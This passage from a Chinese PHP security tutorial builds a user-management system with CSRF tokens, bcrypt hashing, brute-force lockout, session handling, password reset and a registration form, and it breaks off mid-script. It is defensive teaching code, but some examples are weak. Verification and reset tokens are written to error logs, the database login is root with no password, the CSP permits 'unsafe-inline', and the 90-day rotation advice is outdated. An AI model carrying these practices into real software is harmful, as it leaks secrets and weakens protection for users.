echo "<tr><td>$name</td><td colspan='3'>不支持(需要PHP 7.2+)</td></tr>";
continue;
}
}
$hash = $func($password);
$length = strlen($hash);
$security = '';
switch($name) {
case 'MD5':
case 'SHA1':
$security = '❌ 不安全(已被破解)';
break;
case 'SHA256':
$security = '⚠️ 一般(需要加盐)';
break;
case 'BCRYPT':
$security = '✅ 安全(推荐)';
break;
case 'ARGON2I':
case 'ARGON2ID':
$security = '✅ 非常安全(最新标准)';
break;
}
echo "<tr>";
echo "<td>$name</td>";
echo "<td style='font-family: monospace;'>" . substr($hash, 0, 32) . "...</td>";
echo "<td>$length</td>";
echo "<td>$security</td>";
echo "</tr>";
}
echo "</table>";
// 密码破解时间估算(基于当前计算能力)
echo "<h4>密码破解时间估算(假设攻击者使用高端GPU):</h4>";
$passwords = [
'123456' => '立即',
'password' => '立即',
'Pass123' => '几分钟',
'MySecurePass123!' => '数百年',
'Xk8&g#2pL9@qW$5z' => '数百万年'
];
echo "<ul>";
foreach ($passwords as $pwd => $time) {
$strength = PasswordSecurity::checkPasswordStrength($pwd);
echo "<li>密码: <code>$pwd</code> - 强度: {$strength['level']} - 破解时间: $time</li>";
}
echo "</ul>";
// 实际部署建议
echo "<h4>生产环境密码安全建议:</h4>";
echo "<ol>";
echo "<li>始终使用password_hash()和password_verify()函数</li>";
echo "<li>密码最小长度设置为12个字符</li>";
echo "<li>强制使用大小写字母、数字和特殊字符的组合</li>";
echo "<li>禁止使用常见密码和字典单词</li>";
echo "<li>定期提示用户更改密码(建议90天)</li>";
echo "<li>实现登录失败锁定机制</li>";
echo "<li>记录所有登录尝试(成功和失败)</li>";
echo "<li>使用HTTPS传输密码</li>";
echo "<li>考虑实现双因素认证(2FA)</li>";
echo "</ol>";
?>
实战项目
项目名称:安全用户管理系统
项目需求分析
开发一个包含完整安全防护措施的用户管理系统,实现以下功能:
- 用户注册(包含邮箱验证)
- 安全登录(防暴力破解)
- 密码管理(修改、重置)
- 会话管理(安全登录状态维持)
- 用户资料管理
- 管理员后台(用户管理)
技术方案
- 数据库设计:使用MySQL,包含users、sessions、login_attempts等表
- 安全措施:
- 密码使用bcrypt哈希存储
- 所有表单使用CSRF令牌防护
- 用户输入进行XSS过滤
- 数据库操作使用PDO预处理语句
- 登录失败锁定机制
- HTTPS强制使用(生产环境)
- 架构设计:采用面向对象设计,遵循单一职责原则
分步骤实现
步骤1:数据库设计
sql
-- 创建数据库
CREATE DATABASE secure_auth CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE secure_auth;
-- 用户表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
email VARCHAR(100) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
full_name VARCHAR(100),
is_active BOOLEAN DEFAULT TRUE,
is_verified BOOLEAN DEFAULT FALSE,
verification_token VARCHAR(64),
verification_expires DATETIME,
two_factor_secret VARCHAR(32),
two_factor_enabled BOOLEAN DEFAULT FALSE,
failed_attempts INT DEFAULT 0,
locked_until DATETIME,
last_login DATETIME,
password_changed_at DATETIME,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
INDEX idx_email (email),
INDEX idx_username (username)
);
-- 会话表
CREATE TABLE sessions (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT NOT NULL,
token_hash VARCHAR(64) NOT NULL,
ip_address VARCHAR(45),
user_agent TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
expires_at DATETIME NOT NULL,
is_revoked BOOLEAN DEFAULT FALSE,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
INDEX idx_token_hash (token_hash),
INDEX idx_user_id (user_id)
);
-- 登录尝试记录表
CREATE TABLE login_attempts (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
attempt_ip VARCHAR(45),
attempt_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
is_successful BOOLEAN DEFAULT FALSE,
INDEX idx_username_time (username, attempt_time),
INDEX idx_ip_time (attempt_ip, attempt_time)
);
-- 密码重置表
CREATE TABLE password_resets (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT NOT NULL,
token_hash VARCHAR(64) NOT NULL,
expires_at DATETIME NOT NULL,
is_used BOOLEAN DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
INDEX idx_token_hash (token_hash)
);
-- 安全日志表
CREATE TABLE security_logs (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT,
event_type VARCHAR(50) NOT NULL,
ip_address VARCHAR(45),
user_agent TEXT,
details TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_user_id (user_id),
INDEX idx_event_type (event_type),
INDEX idx_created_at (created_at)
);
步骤2:核心安全类实现
php
<?php
// File: includes/Security/CoreSecurity.php
/**
* 核心安全类
* 负责处理所有安全相关的操作
*/
class CoreSecurity {
private $db;
private $config;
public function __construct(PDO $db, array $config = []) {
$this->db = $db;
$this->config = array_merge([
'max_login_attempts' => 5,
'lockout_duration' => 900, // 15分钟
'session_timeout' => 1800, // 30分钟
'csrf_token_expiry' => 3600, // 1小时
'min_password_length' => 8,
'require_strong_password' => true
], $config);
}
/**
* 验证CSRF令牌
*/
public function validateCsrfToken($token, $formId = 'default') {
if (empty($token)) {
return false;
}
// 从Session获取存储的令牌
$storedToken = $_SESSION['csrf_tokens'][$formId] ?? null;
if (!$storedToken) {
return false;
}
// 检查是否过期
if (time() > $storedToken['expires']) {
unset($_SESSION['csrf_tokens'][$formId]);
return false;
}
// 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $token));
// 使用后销毁(一次性令牌)
if ($isValid) {
unset($_SESSION['csrf_tokens'][$formId]);
}
return $isValid;
}
/**
* 生成CSRF令牌
*/
public function generateCsrfToken($formId = 'default') {
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_tokens'][$formId] = [
'hash' => hash('sha256', $token),
'created' => time(),
'expires' => time() + $this->config['csrf_token_expiry']
];
// 清理过期令牌
$this->cleanupExpiredTokens();
return $token;
}
/**
* 清理过期令牌
*/
private function cleanupExpiredTokens() {
foreach ($_SESSION['csrf_tokens'] as $formId => $data) {
if (time() > $data['expires']) {
unset($_SESSION['csrf_tokens'][$formId]);
}
}
}
/**
* 过滤XSS攻击
*/
public function sanitizeInput($input, $context = 'html') {
if (is_array($input)) {
return array_map([$this, 'sanitizeInput'], $input);
}
$input = trim($input);
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
case 'attribute':
// 额外的属性过滤
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
return preg_replace('/[^a-zA-Z0-9\-_]/', '', $input);
case 'url':
if (filter_var($input, FILTER_VALIDATE_URL)) {
return filter_var($input, FILTER_SANITIZE_URL);
}
return '';
case 'email':
return filter_var($input, FILTER_SANITIZE_EMAIL);
case 'int':
return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
case 'float':
return filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_FRACTION | FILTER_FLAG_ALLOW_THOUSAND);
case 'sql':
// 注意:这只是辅助过滤,不能替代预处理语句
return $this->db->quote($input);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
/**
* 记录安全事件
*/
public function logSecurityEvent($userId, $eventType, $details = '') {
$stmt = $this->db->prepare("
INSERT INTO security_logs
(user_id, event_type, ip_address, user_agent, details)
VALUES (?, ?, ?, ?, ?)
");
$stmt->execute([
$userId,
$eventType,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$_SERVER['HTTP_USER_AGENT'] ?? '',
$details
]);
return $this->db->lastInsertId();
}
/**
* 检查暴力破解
*/
public function checkBruteForce($username) {
$stmt = $this->db->prepare("
SELECT COUNT(*) as attempts
FROM login_attempts
WHERE username = ?
AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
AND is_successful = 0
");
$stmt->execute([$username, $this->config['lockout_duration']]);
$result = $stmt->fetch();
return $result['attempts'] >= $this->config['max_login_attempts'];
}
/**
* 记录登录尝试
*/
public function recordLoginAttempt($username, $isSuccessful) {
$stmt = $this->db->prepare("
INSERT INTO login_attempts
(username, attempt_ip, is_successful)
VALUES (?, ?, ?)
");
$stmt->execute([
$username,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$isSuccessful ? 1 : 0
]);
// 如果失败次数过多,锁定账户
if (!$isSuccessful) {
$this->checkAndLockAccount($username);
}
}
/**
* 检查并锁定账户
*/
private function checkAndLockAccount($username) {
$stmt = $this->db->prepare("
SELECT COUNT(*) as attempts
FROM login_attempts
WHERE username = ?
AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
AND is_successful = 0
");
$stmt->execute([$username, $this->config['lockout_duration']]);
$result = $stmt->fetch();
if ($result['attempts'] >= $this->config['max_login_attempts']) {
$stmt = $this->db->prepare("
UPDATE users
SET locked_until = DATE_ADD(NOW(), INTERVAL ? SECOND)
WHERE username = ?
");
$stmt->execute([$this->config['lockout_duration'], $username]);
// 记录安全事件
$this->logSecurityEvent(
null,
'ACCOUNT_LOCKED',
"账户 $username 因多次失败尝试被锁定"
);
}
}
/**
* 验证密码强度
*/
public function validatePasswordStrength($password) {
$errors = [];
// 长度检查
if (strlen($password) < $this->config['min_password_length']) {
$errors[] = "密码至少需要 {$this->config['min_password_length']} 个字符";
}
if ($this->config['require_strong_password']) {
// 大写字母检查
if (!preg_match('/[A-Z]/', $password)) {
$errors[] = "需要包含至少一个大写字母";
}
// 小写字母检查
if (!preg_match('/[a-z]/', $password)) {
$errors[] = "需要包含至少一个小写字母";
}
// 数字检查
if (!preg_match('/[0-9]/', $password)) {
$errors[] = "需要包含至少一个数字";
}
// 特殊字符检查
if (!preg_match('/[^A-Za-z0-9]/', $password)) {
$errors[] = "需要包含至少一个特殊字符";
}
}
// 常见密码检查
$commonPasswords = [
'123456', 'password', '12345678', 'qwerty', 'abc123',
'123456789', '111111', '1234567', 'iloveyou', 'admin'
];
if (in_array(strtolower($password), $commonPasswords)) {
$errors[] = "密码过于常见,请选择更复杂的密码";
}
// 密码相似度检查(防止与用户名、邮箱相似)
if (isset($_POST['username']) && similar_text($password, $_POST['username']) > 3) {
$errors[] = "密码不能与用户名太相似";
}
if (isset($_POST['email'])) {
$emailParts = explode('@', $_POST['email']);
if (similar_text($password, $emailParts[0]) > 3) {
$errors[] = "密码不能与邮箱前缀太相似";
}
}
return [
'is_valid' => empty($errors),
'errors' => $errors
];
}
/**
* 生成安全的随机字符串
*/
public function generateRandomString($length = 32) {
return bin2hex(random_bytes($length / 2));
}
/**
* 设置安全HTTP头
*/
public function setSecurityHeaders() {
// CSP头
header("Content-Security-Policy: " . implode('; ', [
"default-src 'self'",
"script-src 'self' 'unsafe-inline'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self'",
"frame-ancestors 'none'",
"form-action 'self'"
]));
// 其他安全头
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");
header("X-XSS-Protection: 1; mode=block");
header("Referrer-Policy: strict-origin-when-cross-origin");
// HSTS头(生产环境使用)
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
}
}
}
?>
步骤3:用户认证类实现
php
<?php
// File: includes/Security/AuthManager.php
/**
* 用户认证管理器
* 处理用户注册、登录、会话管理等核心功能
*/
class AuthManager {
private $db;
private $security;
public function __construct(PDO $db, CoreSecurity $security) {
$this->db = $db;
$this->security = $security;
}
/**
* 用户注册
*/
public function register($username, $email, $password, $fullName = '') {
try {
// 开始事务
$this->db->beginTransaction();
// 验证输入
$this->validateRegistrationInput($username, $email, $password);
// 检查用户是否已存在
if ($this->userExists($username, $email)) {
throw new Exception('用户名或邮箱已被注册');
}
// 哈希密码
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
// 生成验证令牌
$verificationToken = $this->security->generateRandomString(32);
$verificationExpires = date('Y-m-d H:i:s', time() + 86400); // 24小时后过期
// 插入用户记录
$stmt = $this->db->prepare("
INSERT INTO users
(username, email, password_hash, full_name, verification_token, verification_expires)
VALUES (?, ?, ?, ?, ?, ?)
");
$stmt->execute([
$username,
$email,
$hashedPassword,
$fullName,
$verificationToken,
$verificationExpires
]);
$userId = $this->db->lastInsertId();
// 发送验证邮件(实际项目中需要实现)
$this->sendVerificationEmail($email, $verificationToken);
// 记录安全事件
$this->security->logSecurityEvent(
$userId,
'USER_REGISTERED',
"新用户注册: $username ($email)"
);
// 提交事务
$this->db->commit();
return [
'success' => true,
'user_id' => $userId,
'message' => '注册成功,请查收验证邮件'
];
} catch (Exception $e) {
// 回滚事务
$this->db->rollBack();
// 记录错误
error_log("注册失败: " . $e->getMessage());
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 用户登录
*/
public function login($username, $password, $rememberMe = false) {
try {
// 检查暴力破解
if ($this->security->checkBruteForce($username)) {
throw new Exception('账户已被锁定,请稍后再试');
}
// 获取用户信息
$user = $this->getUserByUsernameOrEmail($username);
if (!$user) {
$this->security->recordLoginAttempt($username, false);
throw new Exception('用户名或密码错误');
}
// 检查账户状态
if (!$user['is_active']) {
throw new Exception('账户已被禁用,请联系管理员');
}
if ($user['locked_until'] && strtotime($user['locked_until']) > time()) {
$lockTime = date('Y-m-d H:i', strtotime($user['locked_until']));
throw new Exception("账户已被锁定至 $lockTime");
}
// 验证密码
if (!password_verify($password, $user['password_hash'])) {
$this->security->recordLoginAttempt($username, false);
throw new Exception('用户名或密码错误');
}
// 检查是否需要重新哈希
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
$this->upgradePassword($user['id'], $password);
}
// 重置失败尝试计数
$this->resetFailedAttempts($username);
// 创建会话
$sessionData = $this->createUserSession($user['id'], $rememberMe);
// 更新最后登录时间
$this->updateLastLogin($user['id']);
// 记录成功登录
$this->security->recordLoginAttempt($username, true);
$this->security->logSecurityEvent(
$user['id'],
'LOGIN_SUCCESS',
"用户登录成功"
);
return [
'success' => true,
'user' => [
'id' => $user['id'],
'username' => $user['username'],
'email' => $user['email'],
'full_name' => $user['full_name']
],
'session' => $sessionData,
'requires_2fa' => $user['two_factor_enabled']
];
} catch (Exception $e) {
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 创建用户会话
*/
private function createUserSession($userId, $rememberMe = false) {
// 生成会话令牌
$sessionToken = $this->security->generateRandomString(32);
$hashedToken = hash('sha256', $sessionToken);
// 计算过期时间
$expiresAt = $rememberMe
? date('Y-m-d H:i:s', time() + 2592000) // 30天
: date('Y-m-d H:i:s', time() + 86400); // 1天
// 存储到数据库
$stmt = $this->db->prepare("
INSERT INTO sessions
(user_id, token_hash, ip_address, user_agent, expires_at)
VALUES (?, ?, ?, ?, ?)
");
$stmt->execute([
$userId,
$hashedToken,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$_SERVER['HTTP_USER_AGENT'] ?? '',
$expiresAt
]);
// 设置Cookie
$cookieExpiry = $rememberMe ? time() + 2592000 : 0; // 0表示浏览器关闭时过期
setcookie('session_token', $sessionToken, [
'expires' => $cookieExpiry,
'path' => '/',
'domain' => '',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true,
'samesite' => 'Strict'
]);
return [
'token' => $sessionToken,
'expires' => $expiresAt
];
}
/**
* 验证会话
*/
public function validateSession($sessionToken) {
if (empty($sessionToken)) {
return false;
}
$hashedToken = hash('sha256', $sessionToken);
$stmt = $this->db->prepare("
SELECT s.*, u.*
FROM sessions s
JOIN users u ON s.user_id = u.id
WHERE s.token_hash = ?
AND s.expires_at > NOW()
AND s.is_revoked = 0
AND u.is_active = 1
");
$stmt->execute([$hashedToken]);
$session = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$session) {
return false;
}
// 检查IP和User-Agent是否匹配(可选,但更安全)
$currentIp = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$currentUserAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if ($session['ip_address'] !== $currentIp ||
$session['user_agent'] !== $currentUserAgent) {
// 记录可疑活动
$this->security->logSecurityEvent(
$session['user_id'],
'SESSION_HIJACK_ATTEMPT',
"IP或User-Agent不匹配"
);
// 可以选择使会话失效
$this->revokeSession($hashedToken);
return false;
}
// 更新会话过期时间(滑动过期)
$newExpiry = date('Y-m-d H:i:s', time() + 3600); // 延长1小时
$stmt = $this->db->prepare("
UPDATE sessions
SET expires_at = ?
WHERE token_hash = ?
");
$stmt->execute([$newExpiry, $hashedToken]);
return [
'user' => [
'id' => $session['user_id'],
'username' => $session['username'],
'email' => $session['email'],
'full_name' => $session['full_name']
],
'session' => $session
];
}
/**
* 用户退出
*/
public function logout($sessionToken = null) {
if ($sessionToken === null) {
$sessionToken = $_COOKIE['session_token'] ?? '';
}
if (!empty($sessionToken)) {
$hashedToken = hash('sha256', $sessionToken);
$this->revokeSession($hashedToken);
}
// 清除Cookie
setcookie('session_token', '', [
'expires' => time() - 3600,
'path' => '/',
'domain' => '',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true
]);
// 销毁Session
session_destroy();
return true;
}
/**
* 撤销会话
*/
private function revokeSession($hashedToken) {
$stmt = $this->db->prepare("
UPDATE sessions
SET is_revoked = 1
WHERE token_hash = ?
");
return $stmt->execute([$hashedToken]);
}
/**
* 修改密码
*/
public function changePassword($userId, $currentPassword, $newPassword) {
try {
// 获取当前密码哈希
$stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
$stmt->execute([$userId]);
$user = $stmt->fetch();
if (!$user || !password_verify($currentPassword, $user['password_hash'])) {
throw new Exception('当前密码错误');
}
// 验证新密码强度
$validation = $this->security->validatePasswordStrength($newPassword);
if (!$validation['is_valid']) {
throw new Exception('新密码强度不足: ' . implode(', ', $validation['errors']));
}
// 检查是否与旧密码相同
if (password_verify($newPassword, $user['password_hash'])) {
throw new Exception('新密码不能与当前密码相同');
}
// 更新密码
$newHash = password_hash($newPassword, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("
UPDATE users
SET password_hash = ?, password_changed_at = NOW()
WHERE id = ?
");
$stmt->execute([$newHash, $userId]);
// 撤销所有活跃会话(除了当前会话)
$this->revokeAllSessionsExceptCurrent($userId);
// 记录安全事件
$this->security->logSecurityEvent(
$userId,
'PASSWORD_CHANGED',
"用户修改密码"
);
return [
'success' => true,
'message' => '密码修改成功,请重新登录'
];
} catch (Exception $e) {
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 发送密码重置邮件
*/
public function requestPasswordReset($email) {
try {
// 获取用户
$stmt = $this->db->prepare("SELECT id, username FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();
if (!$user) {
// 为了安全,即使用户不存在也返回成功消息
return [
'success' => true,
'message' => '如果邮箱存在,重置链接已发送'
];
}
// 生成重置令牌
$resetToken = $this->security->generateRandomString(32);
$hashedToken = hash('sha256', $resetToken);
$expiresAt = date('Y-m-d H:i:s', time() + 3600); // 1小时后过期
// 存储重置令牌
$stmt = $this->db->prepare("
INSERT INTO password_resets
(user_id, token_hash, expires_at)
VALUES (?, ?, ?)
");
$stmt->execute([$user['id'], $hashedToken, $expiresAt]);
// 发送重置邮件(实际项目中需要实现)
$this->sendPasswordResetEmail($email, $resetToken);
// 记录安全事件
$this->security->logSecurityEvent(
$user['id'],
'PASSWORD_RESET_REQUESTED',
"请求重置密码"
);
return [
'success' => true,
'message' => '重置链接已发送到您的邮箱'
];
} catch (Exception $e) {
error_log("密码重置请求失败: " . $e->getMessage());
return [
'success' => false,
'message' => '请求失败,请稍后重试'
];
}
}
// 辅助方法
private function validateRegistrationInput($username, $email, $password) {
// 用户名验证
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
throw new Exception('用户名只能包含字母、数字和下划线,长度3-20位');
}
// 邮箱验证
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
throw new Exception('邮箱格式不正确');
}
// 密码强度验证
$validation = $this->security->validatePasswordStrength($password);
if (!$validation['is_valid']) {
throw new Exception('密码强度不足: ' . implode(', ', $validation['errors']));
}
}
private function userExists($username, $email) {
$stmt = $this->db->prepare("
SELECT id FROM users WHERE username = ? OR email = ?
");
$stmt->execute([$username, $email]);
return $stmt->fetch() !== false;
}
private function getUserByUsernameOrEmail($identifier) {
$stmt = $this->db->prepare("
SELECT * FROM users
WHERE username = ? OR email = ?
LIMIT 1
");
$stmt->execute([$identifier, $identifier]);
return $stmt->fetch(PDO::FETCH_ASSOC);
}
private function resetFailedAttempts($username) {
$stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
$stmt->execute([$username]);
$stmt = $this->db->prepare("UPDATE users SET locked_until = NULL WHERE username = ?");
$stmt->execute([$username]);
}
private function upgradePassword($userId, $password) {
$newHash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("
UPDATE users
SET password_hash = ?
WHERE id = ?
");
$stmt->execute([$newHash, $userId]);
}
private function updateLastLogin($userId) {
$stmt = $this->db->prepare("
UPDATE users
SET last_login = NOW()
WHERE id = ?
");
$stmt->execute([$userId]);
}
private function revokeAllSessionsExceptCurrent($userId) {
// 在实际项目中实现
}
private function sendVerificationEmail($email, $token) {
// 在实际项目中实现邮件发送
error_log("验证邮件发送到: $email, 令牌: $token");
}
private function sendPasswordResetEmail($email, $token) {
// 在实际项目中实现邮件发送
error_log("重置邮件发送到: $email, 令牌: $token");
}
}
?>
步骤4:前端表单和页面实现
php
<?php
// File: register.php
require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';
// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);
// 设置安全头
$security->setSecurityHeaders();
// 处理注册请求
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'register')) {
$message = '安全令牌验证失败,请刷新页面重试';
} else {
// 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
$email = $security->sanitizeInput($_POST['email'] ?? '', 'email');
$password = $_POST['password'] ?? '';
$confirmPassword = $_POST['confirm_password'] ?? '';
$fullName = $security->sanitizeInput($_POST['full_name'] ?? '', 'html');
// 验证密码确认
if ($password !== $confirmPassword) {
$message = '两次输入的密码不一致';
} else {
// 执行注册
$result = $auth->register($username, $email, $password, $fullName);
$message = $result['message'];
$success = $result['success'];
}
}
}
// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('register');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>用户注册 - 安全认证系统</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f5f5f5;
margin: 0;
padding: 20px;
}
.container {
max-width: 400px;
margin: 50px auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
text-align: center;
color: #333;
margin-bottom: 30px;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 5px;
color: #555;
font-weight: bold;
}
input[type="text"],
input[type="email"],
input[type="password"] {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
}
input:focus {
outline: none;
border-color: #4CAF50;
box-shadow: 0 0 5px rgba(76, 175, 80, 0.3);
}
.password-strength {
height: 5px;
background: #eee;
border-radius: 3px;
margin-top: 5px;
overflow: hidden;
}
.strength-meter {
height: 100%;
width: 0;
transition: width 0.3s, background-color 0.3s;
}
.strength-weak { background-color: #ff4444; width: 33%; }
.strength-medium { background-color: #ffbb33; width: 66%; }
.strength-strong { background-color: #00C851; width: 100%; }
.requirements {
font-size: 12px;
color: #666;
margin-top: 5px;
}
.requirement {
display: flex;
align-items: center;
margin-bottom: 2px;
}
.requirement.valid { color: #00C851; }
.requirement.invalid { color: #ff4444; }
.requirement::before {
content: '○';
margin-right: 5px;
}
.requirement.valid::before { content: '✓'; }
.btn {
width: 100%;
padding: 12px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
font-weight: bold;
}
.btn:hover {
background-color: #45a049;
}
.message {
padding: 10px;
border-radius: 4px;
margin-bottom: 20px;
text-align: center;
}
.message.success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.message.error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.login-link {
text-align: center;
margin-top: 20px;
}
.login-link a {
color: #4CAF50;
text-decoration: none;
}
.login-link a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>用户注册</h1>
<?php if ($message): ?>
<div class="message <?php echo $success ? 'success' : 'error'; ?>">
<?php echo htmlspecialchars($message); ?>
</div>
<?php endif; ?>
<form method="POST" id="registerForm">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" required
pattern="[a-zA-Z0-9_]{3,20}"
title="只能包含字母、数字和下划线,长度3-20位">
<div class="requirements">
<div class="requirement invalid" id="req-username-length">3-20个字符</div>
<div class="requirement invalid" id="req-username-chars">仅字母、数字、下划线</div>
</div>
</div>
<div class="form-group">
<label for="email">邮箱地址</label>
<input type="email" id="email" name="email" required>
<div class="requirements">
<div class="requirement invalid" id="req-email-valid">有效的邮箱格式</div>
</div>
</div>
<div class="form-group">
<label for="full_name">姓名(可选)</label>
<input type="text" id="full_name" name="full_name">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" required>
<div class="password-strength">
<div class="strength-meter" id="passwordStrength"></div>
</div>
<div class="requirements">
<div class="requirement invalid" id="req-length">至少8个字符</div>
<div class="requirement invalid" id="req-uppercase">包含大写字母</div>
<div class="requirement invalid" id="req-lowercase">包含小写字母</div>
<div class="requirement invalid" id="req-number">包含数字</div>
<div class="requirement invalid" id="req-special">包含特殊字符</div>
</div>
</div>
<div class="form-group">
<label for="confirm_password">确认密码</label>
<input type="password" id="confirm_password" name="confirm_password" required>
<div class="requirements">
<div class="requirement invalid" id="req-match">密码匹配</div>
</div>
</div>
<button type="submit" class="btn">注册</button>
</form>
<div class="login-link">
已有账号?<a href="login.php">立即登录</a>
</div>
</div>
<script>
// 密码强度实时检查
const passwordInput = document.getElementById('password');
const confirmInput = document.getElementById('confirm_password');
const strengthMeter = document.getElementById('passwordStrength');
const requirements = {
length: document.getElementById('req-length'),
uppercase: document.getElementById('req-uppercase'),
lowercase: document.getElementById('req-lowercase'),
number: document.getElementById('req-number'),
special: document.getElementById('req-special'),
match: document.getElementById('req-match'),
usernameLength: document.getElementById('req-username-length'),
usernameChars: document.getElementById('req-username-chars'),
emailValid: document.getElementById('req-email-valid')
};
function checkPasswordStrength(password) {
let strength = 0;
// 长度检查
if (password.length >= 8) {
strength += 20;
requirements.length.classList.add('valid');
requirements.length.classList.remove('invalid');
} else {
requirements.length.classList.remove('valid');
requirements.length.classList.add('invalid');
}
// 大写字母检查
if (/[A-Z]/.test(password)) {
strength += 20;
requirements.uppercase.classList.add('valid');
requirements.uppercase.classList.remove('invalid');
} else {
requirements.uppercase.classList.remove('valid');
requirements.uppercase.classList.add('invalid');
}
// 小写字母检查
if (/[a-z]/.test(password)) {
strength += 20;
requirements.lowercase.classList.add('valid');
requirements.lowercase.classList.remove('invalid');
} else {
requirements.lowercase.classList.remove('valid');
requirements.lowercase.classList.add('invalid');
}
// 数字检查
if (/[0-9]/.test(password)) {
strength += 20;
requirements.number.classList.add('valid');
requirements.number.classList.remove('invalid');
} else {
requirements.number.classList.remove('valid');
requirements.number.classList.add('invalid');
}
// 特殊字符检查
if (/[^A-Za-z0-9]/.test(password)) {
strength += 20;
requirements.special.classList.add('valid');
requirements.special.classList.remove('invalid');
} else {
requirements.special.classList.remove('valid');
requirements.special.classList.add('invalid');
}
// 更新强度条
strengthMeter.className = 'strength-meter';
if (strength >= 80) {
strengthMeter.classList.add('strength-strong');
} else if (strength >= 60) {
strengthMeter.classList.add('strength-medium');
} else if (strength > 0) {
strengthMeter.classList.add('strength-weak');
}
return strength;
}
function checkPasswordMatch() {
const password = passwordInput.value;
const confirm = confirmInput.value;
if (password && confirm) {
if (password === confirm) {
requirements.match.classList.add('valid');
requirements.match.classList.remove('invalid');
return true;
} else {
requirements.match.classList.remove('valid');
requirements.match.classList.add('invalid');
return false;
}
}
return false;
}
function checkUsername() {
const username = document.getElementById('username').value;
// 长度检查
if (username.length >= 3 && username.length <= 20) {
requirements.usernameLength.classList.add('valid');
requirements.usernameLength.classList.remove('invalid');
} else {
requirements.usernameLength.classList.remove('valid');
requirements.usernameLength.classList.add('invalid');
}
// 字符检查
if (/^[a-zA-Z0-9_]+$/.test(username)) {
requirements.usernameChars.classList.add('valid');
requirements.usernameChars.classList.remove('invalid');
} else {
requirements.usernameChars.classList.remove('valid');
requirements.usernameChars.classList.add('invalid');
}
}
function checkEmail() {
const email = document.getElementById('email').value;
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (emailRegex.test(email)) {
